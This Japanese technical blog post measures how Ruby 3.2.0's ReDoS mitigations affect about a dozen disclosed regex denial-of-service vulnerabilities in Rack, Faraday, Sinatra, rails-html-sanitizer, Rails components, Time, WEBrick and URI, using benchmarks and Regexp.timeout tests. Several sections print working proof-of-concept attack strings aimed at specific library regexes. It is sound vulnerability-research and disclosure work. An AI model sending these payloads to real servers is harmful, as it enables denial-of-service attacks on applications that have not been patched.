Ruby3.2.0で導入されたReDoS対策の効果を確認

2022/12/26に公開

https://techlife.cookpad.com/entry/2022/12/26/121950

Ruby3.2.0でReDoS対策が入ったということで、2022年と2023年に報告したReDoSの脆弱性で公表されたものについて効果を確認してみました。 [1] [2] [3] [4] [5] [6] [7] [8]

(2024年追記)Ruby3.3.xで確認したものはこちら

Faraday Net::HTTP adapter

https://github.com/lostisland/faraday-net_http/pull/27

PoC
encoded_body_benchmark.rb
require 'benchmark'

def attack_text(length)
  text = 'charset=' + "\t" * length + "a" + "\t" * length + "a"
  /\bcharset=\s*(.+?)\s*(;|$)/.match(text)
end

Benchmark.bm do |x|
  x.report { attack_text(10) }
  x.report { attack_text(100) }
  x.report { attack_text(1000) }
  x.report { attack_text(10000) }
  x.report { attack_text(100000) }
end
# Ruby 3.1.2
❯ bundle exec ruby encoded_body_benchmark.rb
       user     system      total        real
   0.000009   0.000000   0.000009 (  0.000005)
   0.000060   0.000000   0.000060 (  0.000060)
   0.005131   0.000001   0.005132 (  0.005132)
   0.520823   0.000839   0.521662 (  0.521920)
  54.252044   0.137403  54.389447 ( 54.445226)

# Ruby 3.2.0
❯ bundle exec ruby encoded_body_benchmark.rb
       user     system      total        real
   0.000008   0.000001   0.000009 (  0.000006)
   0.000008   0.000001   0.000009 (  0.000008)
   0.000063   0.000007   0.000070 (  0.000070)
   0.000562   0.000059   0.000621 (  0.000621)
   0.005639   0.001153   0.006792 (  0.006816)  

Rack::Protection::IPSpoofing

https://github.com/sinatra/sinatra/pull/1823

PoC
ip_spoofing_benchmark.rb
require 'benchmark'

def attack_text(length)
 ("\t" * length +"\ta,a\t").split(/\s*,\s*/)
end

Benchmark.bm do |x|
  x.report { attack_text(10) }
  x.report { attack_text(100) }
  x.report { attack_text(1000) }
  x.report { attack_text(10000) }
  x.report { attack_text(100000) }
end
# Ruby 3.1.2
❯ bundle exec ruby ip_spoofing_benchmark.rb
       user     system      total        real
   0.000006   0.000000   0.000006 (  0.000004)
   0.000027   0.000000   0.000027 (  0.000028)
   0.002230   0.000000   0.002230 (  0.002229)
   0.219735   0.000466   0.220201 (  0.220294)
  22.132207   0.056974  22.189181 ( 22.218286)

# Ruby 3.2.0
❯ bundle exec ruby ip_spoofing_benchmark.rb
       user     system      total        real
   0.000006   0.000001   0.000007 (  0.000005)
   0.000007   0.000000   0.000007 (  0.000007)
   0.000030   0.000001   0.000031 (  0.000030)
   0.000269   0.000001   0.000270 (  0.000269)
   0.002656   0.000016   0.002672 (  0.002673)

Nokogiri (CVE-2022-24836)

https://github.com/advisories/GHSA-crjr-9rc5-ghw8

PoCは非公開です。

# Ruby 3.1.2
❯ bundle exec ruby nokogiri_benchmark.rb
       user     system      total        real
   0.000047   0.000020   0.000067 (  0.000063)
   0.000040   0.000001   0.000041 (  0.000041)
   0.002257   0.000016   0.002273 (  0.002285)
   0.219902   0.000521   0.220423 (  0.220524)
  22.096186   0.069899  22.166085 ( 22.181980)

# Ruby 3.2.0
❯ bundle exec ruby nokogiri_benchmark.rb
       user     system      total        real
   0.000127   0.000187   0.000314 (  0.000308)
   0.000045   0.000001   0.000046 (  0.000046)
   0.000078   0.000000   0.000078 (  0.000080)
   0.000536   0.000103   0.000639 (  0.000645)
   0.005045   0.001094   0.006139 (  0.006158)

Rack (CVE-2022-30122)

https://discuss.rubyonrails.org/t/cve-2022-30122-denial-of-service-vulnerability-in-rack-multipart-parsing/80729
https://hackerone.com/reports/1489141

PoC
broken_quoted_benchmark.rb
require 'benchmark'
require 'rack'

regexp = Rack::Multipart::BROKEN_UNQUOTED

def attack_text(length)
  'Content-Disposition:a' + "\t" * length + "\tfilename=m"
end

Benchmark.bm do |x|
  x.report { attack_text(10)[regexp] }
  x.report { attack_text(100)[regexp] }
  x.report { attack_text(1000)[regexp] }
  x.report { attack_text(10000)[regexp] }
  x.report { attack_text(100000)[regexp] }
end
# Ruby 3.1.2
❯ bundle exec ruby broken_unquoted_benchmark.rb
       user     system      total        real
   0.000009   0.000000   0.000009 (  0.000006)
   0.000034   0.000000   0.000034 (  0.000034)
   0.002474   0.000000   0.002474 (  0.002474)
   0.243811   0.000512   0.244323 (  0.244369)
  24.450106   0.058915  24.509021 ( 24.570598)

# Ruby 3.2.0
❯ bundle exec ruby broken_unquoted_benchmark.rb
       user     system      total        real
   0.000006   0.000001   0.000007 (  0.000006)
   0.000007   0.000000   0.000007 (  0.000006)
   0.000043   0.000005   0.000048 (  0.000048)
   0.000366   0.000035   0.000401 (  0.000403)
   0.003492   0.000377   0.003869 (  0.003870)

Rails Html Sanitizers (CVE-2022-23517)

https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-5x79-w82f-gw8w
https://hackerone.com/reports/1684163

PoC
scrub_benchmark.rb
require 'benchmark'
require  'rails-html-sanitizer'

def scrub(length)
  scrubber = Rails::Html::PermitScrubber.new
  scrubber.tags = ['s']
  scrubber.attributes = ['mask']

  mask =  'url(uu' * length

  html_fragment = Loofah.fragment('<s mask="' + mask + '" id="aa">aa</s>')
  html_fragment.scrub!(scrubber)
end

Benchmark.bm do |x|
  x.report { scrub(10) }
  x.report { scrub(100) }
  x.report { scrub(1000) }
  x.report { scrub(10000) }
  x.report { scrub(100000) }
end
# Ruby 3.1.2
❯ bundle exec ruby scrub_benchmark.rb
       user     system      total        real
   0.000219   0.000189   0.000408 (  0.000407)
   0.000327   0.000004   0.000331 (  0.000334)
   0.024247   0.000039   0.024286 (  0.024305)
   2.282625   0.005343   2.287968 (  2.288805)
 228.092186   0.567187 228.659373 (229.374108)

# Ruby 3.2.0
❯ bundle exec ruby scrub_benchmark.rb
       user     system      total        real
   0.000312   0.000393   0.000705 (  0.000702)
   0.000170   0.000004   0.000174 (  0.000173)
   0.000483   0.000012   0.000495 (  0.000496)
   0.003801   0.000076   0.003877 (  0.003876)
   0.029116   0.000737   0.029853 (  0.029881)

Rack (CVE-2022-44570)

https://discuss.rubyonrails.org/t/cve-2022-44570-possible-denial-of-service-vulnerability-in-racks-range-header-parsing/82125

PoCは非公開です。

# Ruby 3.1.2
❯ bundle exec ruby multipart_content_disposition_benchmark.rb
       user     system      total        real
   0.000014   0.000001   0.000015 (  0.000012)
   0.000602   0.000003   0.000605 (  0.000604)
   0.050963   0.000148   0.051111 (  0.051170)
   4.976457   0.018192   4.994649 (  5.011038)

❯ bundle exec ruby byte_range_benchnark.rb
       user     system      total        real
   0.000013   0.000000   0.000013 (  0.000011)
   0.000010   0.000001   0.000011 (  0.000010)
   0.000055   0.000001   0.000056 (  0.000055)
   0.000490   0.000043   0.000533 (  0.000533)
   0.004374   0.000447   0.004821 (  0.004826)

Rack (CVE-2022-44571)

https://discuss.rubyonrails.org/t/cve-2022-44571-possible-denial-of-service-vulnerability-in-rack-content-disposition-parsing/82126

PoCは非公開です。

# Ruby 3.1.2
❯ bundle exec ruby multipart_content_disposition_benchmark.rb
       user     system      total        real
   0.000012   0.000000   0.000012 (  0.000010)
   0.000519   0.000007   0.000526 (  0.000526)
   0.048907   0.000134   0.049041 (  0.049124)
   4.828467   0.011421   4.839888 (  4.842429)

# Ruby 3.2.0
❯ bundle exec ruby multipart_content_disposition_benchmark.rb
       user     system      total        real
   0.000014   0.000000   0.000014 (  0.000010)
   0.000072   0.000000   0.000072 (  0.000072)
   0.000697   0.000081   0.000778 (  0.000778)
   0.006980   0.002688   0.009668 (  0.009751)

Rack (CVE-2022-44572)

https://discuss.rubyonrails.org/t/cve-2022-44572-possible-denial-of-service-vulnerability-in-racks-rfc2183-boundary-parsing/82124

PoCは非公開です。

# Ruby 3.1.2
❯ bundle exec ruby rfc2183_benchmark.rb
       user     system      total        real
   0.000019   0.000000   0.000019 (  0.000018)
   0.000358   0.000004   0.000362 (  0.000374)
   0.010729   0.000005   0.010734 (  0.010737)
   0.349436   0.000997   0.350433 (  0.350911)
  11.105921   0.027338  11.133259 ( 11.137913)
  22.203780   0.054924  22.258704 ( 22.265718)

# Ruby 3.2.0
❯ bundle exec ruby rfc2183_benchmark.rb
       user     system      total        real
   0.000018   0.000001   0.000019 (  0.000017)
   0.000371   0.000001   0.000372 (  0.000370)
   0.011043   0.000007   0.011050 (  0.011049)
   0.351671   0.001075   0.352746 (  0.352980)
  11.349351   0.031033  11.380384 ( 11.393231)
  22.604759   0.055164  22.659923 ( 22.677514)

# Regexp.timeout = 1 を設定
❯ bundle exec ruby rfc2183_benchmark.rb
       user     system      total        real
   0.000022   0.000002   0.000024 (  0.000021)
   0.000422   0.000001   0.000423 (  0.000422)
   0.012381   0.000041   0.012422 (  0.012450)
   0.349678   0.000886   0.350564 (  0.352141)
 rfc2183_benchmark.rb:21:in `[]': regexp match timeout (Regexp::TimeoutError)

Action Pack (CVE-2023-22792)

https://discuss.rubyonrails.org/t/cve-2023-22792-possible-redos-based-dos-vulnerability-in-action-dispatch/82115

PoCは非公開です。

❯ bundle exec ruby cookie_host_benchmark.rb
       user     system      total        real
   0.000010   0.000000   0.000010 (  0.000008)
   0.002671   0.000003   0.002674 (  0.002687)
   2.439260   0.004220   2.443480 (  2.444101)
       user     system      total        real
   0.000007   0.000004   0.000011 (  0.000010)
   0.000030   0.000001   0.000031 (  0.000030)
   0.002248   0.000006   0.002254 (  0.002255)
   0.219704   0.000269   0.219973 (  0.220068)
  21.977842   0.046066  22.023908 ( 22.034360)


❯ bundle exec ruby cookie_host_benchmark.rb
       user     system      total        real
   0.000006   0.000001   0.000007 (  0.000006)
   0.000012   0.000000   0.000012 (  0.000012)
   0.000089   0.000001   0.000090 (  0.000089)
       user     system      total        real
   0.000003   0.000001   0.000004 (  0.000003)
   0.000004   0.000000   0.000004 (  0.000004)
   0.000026   0.000000   0.000026 (  0.000026)
   0.000247   0.000000   0.000247 (  0.000247)
   0.002451   0.000018   0.002469 (  0.002469)

Active Support (CVE-2023-22796)

https://discuss.rubyonrails.org/t/cve-2023-22796-possible-redos-based-dos-vulnerability-in-active-supports-underscore/82116

PoCは非公開です。

# Ruby 3.1.2
❯ bundle exec ruby underscore_benchmark.rb
       user     system      total        real
   0.000011   0.000000   0.000011 (  0.000010)
   0.000119   0.000000   0.000119 (  0.000120)
   0.010398   0.000008   0.010406 (  0.010406)
   1.049821   0.002955   1.052776 (  1.053137)

# Ruby 3.2.0
❯ bundle exec ruby underscore_benchmark.rb
       user     system      total        real
   0.000012   0.000000   0.000012 (  0.000011)
   0.000108   0.000001   0.000109 (  0.000108)
   0.009456   0.000003   0.009459 (  0.009463)
   0.955143   0.001402   0.956545 (  0.956543)
   3.853790   0.007212   3.861002 (  3.862404)

# Regexp.timeout = 1 を設定
❯ bundle exec ruby underscore_benchmark.rb
       user     system      total        real
   0.000011   0.000000   0.000011 (  0.000010)
   0.000107   0.000000   0.000107 (  0.000107)
   0.009443   0.000003   0.009446 (  0.009447)
   0.955830   0.001711   0.957541 (  0.957541)
 .../active_support/inflector/methods.rb:100:in `gsub!': regexp match timeout (Regexp::TimeoutError)   

GlobalID (CVE-2023-22799)

https://discuss.rubyonrails.org/t/cve-2023-22799-possible-redos-based-dos-vulnerability-in-globalid/82127

PoCは非公開です。

# Ruby 3.1.2
❯ bundle exec ruby locate_benchmark.rb
       user     system      total        real
   0.000018   0.000000   0.000018 (  0.000016)
   0.000044   0.000001   0.000045 (  0.000044)
   0.003033   0.000005   0.003038 (  0.003038)
   0.309519   0.000834   0.310353 (  0.310375)
  31.824798   0.084978  31.909776 ( 31.958167)

# Ruby 3.2.0
❯ bundle exec ruby locate_benchmark.rb
       user     system      total        real
   0.000018   0.000001   0.000019 (  0.000016)
   0.000016   0.000000   0.000016 (  0.000016)
   0.000070   0.000000   0.000070 (  0.000071)
   0.000617   0.000057   0.000674 (  0.000674)
   0.006024   0.000507   0.006531 (  0.006554)

Rack (CVE-2023-27539)

https://discuss.rubyonrails.org/t/cve-2023-27539-possible-denial-of-service-vulnerability-in-racks-header-parsing/82466

PoCは非公開です。

# Ruby 3.1.2
❯ bundle exec ruby parse_http_accept_header_benchmark.rb
       user     system      total        real
   0.000730   0.000075   0.000805 (  0.000806)
   0.000029   0.000000   0.000029 (  0.000029)
   0.002216   0.000001   0.002217 (  0.002220)
   0.220513   0.000369   0.220882 (  0.220962)
  22.217365   0.053620  22.270985 ( 22.292816)  

# Ruby 3.2.1
❯ bundle exec ruby parse_http_accept_header_benchmark.rb
       user     system      total        real
   0.000740   0.000137   0.000877 (  0.001285)
   0.000007   0.000000   0.000007 (  0.000007)
   0.000031   0.000000   0.000031 (  0.000031)
   0.000289   0.000001   0.000290 (  0.000288)
   0.002693   0.000028   0.002721 (  0.002721)

Ruby Time (CVE-2023-28756)

https://www.ruby-lang.org/en/news/2023/03/30/redos-in-time-cve-2023-28756/

PoC
rfc2822_benchmark.rb
require 'benchmark'
require 'time'
  
def rfc2822_parse(length)
  text = "0 Feb 00 00 :00" + " " * length
  Time.rfc2822(text)
rescue ArgumentError
  nil
end

Benchmark.bm do |x|
  x.report { rfc2822_parse(100) }
  x.report { rfc2822_parse(1000) }
  x.report { rfc2822_parse(10000) }
  x.report { rfc2822_parse(100000) }
end
# Ruby 3.1.1
❯ bundle exec ruby rfc2822_benchmark.rb
       user     system      total        real
   0.000326   0.000009   0.000335 (  0.000344)
   0.029284   0.000054   0.029338 (  0.029469)
   2.860528   0.007354   2.867882 (  2.875771)
 290.843621   0.889107 291.732728 (292.665729)

# Ruby 3.2.0
❯ bundle exec ruby rfc2822_benchmark.rb
       user     system      total        real
   0.000399   0.000001   0.000400 (  0.000398)
   0.035984   0.000014   0.035998 (  0.036022)
   3.612121   0.007010   3.619131 (  3.621582)
 364.668771   0.667106 365.335877 (365.889942)

# Regexp.timeout = 1 を設定
❯ bundle exec ruby rfc2822_benchmark.rb
       user     system      total        real
   0.000401   0.000003   0.000404 (  0.000397)
   0.037018   0.000043   0.037061 (  0.037122)
.../ruby/3.2.0/gems/time-0.2.0/lib/time.rb:515:in `rfc2822': regexp match timeout (Regexp::TimeoutError)

WEBrick

https://github.com/ruby/webrick/pull/114

PoCは非公開です。

# Ruby 3.1.1
❯ bundle exec ruby split_header_value_benchmark.rb
       user     system      total        real
   0.420393   0.000661   0.421054 (  0.421074)
   6.692469   0.021099   6.713568 (  6.715372)
  27.340398   0.053937  27.394335 ( 27.400080)

# Ruby 3.2.0
❯ bundle exec ruby split_header_value_benchmark.rb
       user     system      total        real
   0.000039   0.000005   0.000044 (  0.000040)
   0.000014   0.000001   0.000015 (  0.000014)
   0.000012   0.000001   0.000013 (  0.000013)
# Ruby 3.1.1
❯ bundle exec ruby parse_header_benchmark.rb
       user     system      total        real
   0.000046   0.000000   0.000046 (  0.000045)
   0.002830   0.000006   0.002836 (  0.002880)
   0.289383   0.000658   0.290041 (  0.291199)
   9.288186   0.022931   9.311117 (  9.347838)
       user     system      total        real
   0.000056   0.000009   0.000065 (  0.000064)
   0.002887   0.000045   0.002932 (  0.002933)
   0.288451   0.000852   0.289303 (  0.290568)
   9.265106   0.021469   9.286575 (  9.323628)

# Ruby 3.2.0
❯ bundle exec ruby parse_header_benchmark.rb
       user     system      total        real
   0.000024   0.000003   0.000027 (  0.000025)
   0.000046   0.000006   0.000052 (  0.000052)
   0.000394   0.000068   0.000462 (  0.000461)
   0.002031   0.000367   0.002398 (  0.002397)
       user     system      total        real
   0.000012   0.000006   0.000018 (  0.000018)
   0.000044   0.000003   0.000047 (  0.000045)
   0.000402   0.000030   0.000432 (  0.000433)
   0.002194   0.000419   0.002613 (  0.002630)

Ruby URI (CVE-2023-36617)

https://www.ruby-lang.org/en/news/2023/06/29/redos-in-uri-CVE-2023-36617/

PoCは非公開です。

# Ruby 3.1.4
❯ ruby port_benchmark.rb
       user     system      total        real
   0.000031   0.000003   0.000034 (  0.000034)
   0.000046   0.000001   0.000047 (  0.000046)
   0.002861   0.000021   0.002882 (  0.002891)
   0.288848   0.000418   0.289266 (  0.289520)
  29.524255   0.130043  29.654298 ( 29.694707)


# Ruby 3.2.2
❯ bundle exec ruby port_benchmark.rb
       user     system      total        real
   0.000033   0.000002   0.000035 (  0.000034)
   0.000016   0.000000   0.000016 (  0.000016)
   0.000054   0.000000   0.000054 (  0.000054)
   0.000434   0.000028   0.000462 (  0.000462)
   0.004022   0.000382   0.004404 (  0.004415)
# Ruby 3.1.4
❯ bundle exec ruby parser_split_benchmark.rb
       user     system      total        real
   0.000619   0.000007   0.000626 (  0.000626)
   0.000614   0.000006   0.000620 (  0.000622)
   0.003432   0.000016   0.003448 (  0.003458)
   0.289117   0.000848   0.289965 (  0.290573)
  29.683022   0.094622  29.777644 ( 29.896222)

# Ruby 3.2.2
❯ bundle exec ruby parser_split_benchmark.rb
       user     system      total        real
   0.000575   0.000009   0.000584 (  0.000585)
   0.000558   0.000004   0.000562 (  0.000562)
   0.003463   0.000012   0.003475 (  0.003486)
   0.303833   0.000568   0.304401 (  0.304554)
  30.954630   0.080803  31.035433 ( 31.087450)
脚注
  1. 2023/1/5 公開されたPoCを追記 ↩︎

  2. 2023/1/19 CVE-2022-44570, CVE-2022-44571, CVE-2022-44572, CVE-2023-22792, CVE-2023-22796, CVE-2023-22799 を追加 ↩︎

  3. 2023/3/19 CVE-2023-27539を追加、記事が長くなってきたのでPoCをアコーディオン内に移動 ↩︎

  4. 2023/4/2 CVE-2023-28756を追加 ↩︎

  5. 2023/4/22 WEBrickを追加 ↩︎

  6. 2023/6/18 CVE-2023-28756のPoCを追加 ↩︎

  7. 2023/7/5 CVE-2023-36617を追加 ↩︎

  8. 2023/8/14 CVE-2022-30122のPoCを追加 ↩︎

Discussion